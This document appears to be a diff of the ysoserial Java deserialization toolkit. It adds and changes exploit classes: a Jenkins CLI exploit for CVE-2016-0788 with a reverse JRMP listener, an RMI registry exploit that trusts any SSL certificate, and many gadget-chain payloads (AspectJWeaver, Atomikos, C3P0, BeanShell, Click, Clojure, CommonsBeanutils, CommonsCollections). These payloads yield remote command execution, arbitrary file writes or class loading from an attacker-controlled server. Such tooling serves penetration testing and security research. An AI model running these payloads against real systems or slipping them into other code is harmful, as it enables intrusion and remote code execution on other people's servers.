e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
}
}
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
});
}
private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,
InetSocketAddress isa, Exception e ) throws Exception, IOException {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if ( start < 0 ) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if ( sep < 0 ) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if ( end < 0 ) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[ 0 ], 16);
long o2 = Long.parseLong(parts[ 1 ], 16);
short o3 = Short.parseShort(parts[ 2 ], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);
}
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);
os.flush();
ObjectPayload.Utils.postSerializeRelease(payload, object);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
}
@@ -0,0 +1,79 @@
package ysoserial.exploit;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
import hudson.remoting.Channel;
import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* CVE-2016-0788 exploit (2)
*
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
*
* @author mbechler
*
*/
public class JenkinsReverse {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String myAddr = args[ 1 ];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[ 0 ];
Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( t != null ) {
t.interrupt();
try {
t.join();
}
catch ( InterruptedException e ) {
e.printStackTrace(System.err);
}
}
}
Utils.postSerializeRelease(args[2], payloadObject);
}
}
@@ -1,13 +1,19 @@
package ysoserial.exploit;
import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;
@@ -18,15 +24,43 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/
@SuppressWarnings({"rawtypes", "unchecked"})
public class RMIRegistryExploit {
private static class TrustAllSSL implements X509TrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
}
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch(Exception e) {
throw new IOException(e);
}
}
}
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
final Registry registry = LocateRegistry.getRegistry(host, port);
Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}
@@ -34,8 +68,9 @@ public class RMIRegistryExploit {
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
Object payload = payloadClass.newInstance().getObject(command);
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
@@ -43,7 +78,7 @@ public class RMIRegistryExploit {
} catch (Throwable e) {
e.printStackTrace();
}
Utils.postSerializeRelease(payloadObj, payload);
return null;
}});
}
@@ -0,0 +1,109 @@
package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.File;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@PayloadTest(harness="ysoserial.test.payloads.SimpleFileWriteTest")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })
public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
File file = new File(filename);
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(file.getParent().toString(), 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, file.getName());
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"..\\ahi.txt;YWhpaGloaQ=="};
PayloadRunner.run(AspectJWeaver.class, args);
}
}
@@ -0,0 +1,77 @@
package ysoserial.payloads;
import javax.management.BadAttributeValueExpException;
import com.atomikos.icatch.jta.RemoteClientUserTransaction;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* Gadget chain:
*
* javax/management/BadAttributeValueExpException.readObject()
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
* javax/naming/InitialContext.lookup()
*
*
* Arguments:
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
*
*
* @author pwntester
* payload added by sciccone
*
* This gadget chain was also discovered by pwntester:
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
*
*/
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
@Dependencies( { "com.atomikos:transactions-jta:4.0.6", "com.atomikos:transactions-api:4.0.6", "com.atomikos:atomikos-util:4.0.6", "javax.transaction:jta:1.1" } )
@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
public class Atomikos implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
// validate command
int sep = command.lastIndexOf('/');
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
throw new IllegalArgumentException("Command format is: " + command
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// create factory based on url
String initialContextFactory;
if (url.startsWith("ldap"))
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
else
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
// create object
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
// set values using reflection
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
Reflections.setFieldValue(rcut, "providerUrl", url);
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
// create exception
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Reflections.setFieldValue(exception, "val", rcut);
return exception;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Atomikos.class, args);
}
}
@@ -0,0 +1,62 @@
package ysoserial.payloads;
import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
}
}
@@ -0,0 +1,91 @@
package ysoserial.payloads;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
*
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*
*/
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}
}
@@ -0,0 +1,28 @@
package ysoserial.payloads;
import com.redhat.ceylon.compiler.java.language.SerializationProxy;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@Authors({ Authors.KULLRICH })
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
public class Ceylon implements ObjectPayload<Object>
{
//
// Probably the simplest deser gadget ever ;-)
//
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(Ceylon.class, args);
}
}
+81
View File
@@ -0,0 +1,81 @@
package ysoserial.payloads;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
/*
Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
We use java.util.PriorityQueue to trigger ColumnComparator.compare().
After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
Chain:
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Column.getProperty()
org.apache.click.util.PropertyUtils.getValue()
org.apache.click.util.PropertyUtils.getObjectPropertyValue()
java.lang.reflect.Method.invoke()
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
...
Arguments:
- command to execute
Yields:
- RCE via TemplatesImpl.getOutputProperties()
Requires:
- Apache Click
- servlet-api of any version
by @artsploit
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({ Authors.ARTSPLOIT })
public class Click1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object templates = Gadgets.createTemplatesImpl(command);
queueArray[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Click1.class, args);
}
}
@@ -0,0 +1,74 @@
package ysoserial.payloads;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/*
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
AbstractTableModel$ff19274a.hashCode()
clojure.core$comp$fn__4727.invoke()
clojure.core$constantly$fn__4614.invoke()
clojure.main$eval_opt.invoke()
Requires:
org.clojure:clojure
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception {
// final String[] execArgs = command.split(" ");
// final StringBuilder commandArgs = new StringBuilder();
// for (String arg : execArgs) {
// commandArgs.append("\" \"");
// commandArgs.append(arg);
// }
// commandArgs.append("\"");
// final String clojurePayload =
// String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
Map<String, Object> fnMap = new HashMap<String, Object>();
fnMap.put("hashCode", new clojure.core$constantly().invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
HashMap<Object, Object> targetMap = new HashMap<Object, Object>();
targetMap.put(model, null);
fnMap.put("hashCode",
new clojure.core$comp().invoke(
new clojure.main$eval_opt(),
new clojure.core$constantly().invoke(clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
return targetMap;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Clojure.class, args);
}
}
@@ -0,0 +1,61 @@
package ysoserial.payloads;
import clojure.lang.Iterate;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Arrays;
import java.util.Map;
/*
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
clojure.lang.ASeq.hashCode()
clojure.lang.Iterate.first() -> null
clojure.lang.Iterate.next() -> new Iterate(f, null, UNREALIZED_SEED)
clojure.lang.Iterate.first() -> this.f.invoke(null)
clojure.core$constantly$fn__4614.invoke()
clojure.main$eval_opt.invoke()
Requires:
org.clojure:clojure
Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java.
Versions up to 1.10.0-alpha4 are known to be vulnerable.
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Clojure2 extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception {
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
Iterate model = Reflections.createWithoutConstructor(Iterate.class);
Object evilFn =
new clojure.core$comp().invoke(
new clojure.main$eval_opt(),
new clojure.core$constantly().invoke(clojurePayload));
// Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable()
// ends up triggering the payload in an infinite loop as it tries to compute the hashCode.
evilFn = new clojure.core$comp().invoke(
new clojure.main$eval_opt(),
new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"),
evilFn);
Reflections.setFieldValue(model, "f", evilFn);
return Gadgets.makeMap(model, null);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Clojure2.class, args);
}
}
+44
View File
@@ -0,0 +1,44 @@
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
@@ -0,0 +1,44 @@
package ysoserial.payloads;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.PriorityQueue;
// Origin Detective is PHITHON From
// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
@Authors({Authors.K4n5ha0})
public class CommonsBeanutils2 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils2.class, args);
}
}
@@ -10,8 +10,11 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@@ -38,7 +41,9 @@ import ysoserial.payloads.util.Reflections;
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
@@ -75,4 +80,8 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
@@ -6,12 +6,12 @@ import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/*
Gadget chain:
@@ -24,12 +24,13 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
@@ -12,24 +12,28 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
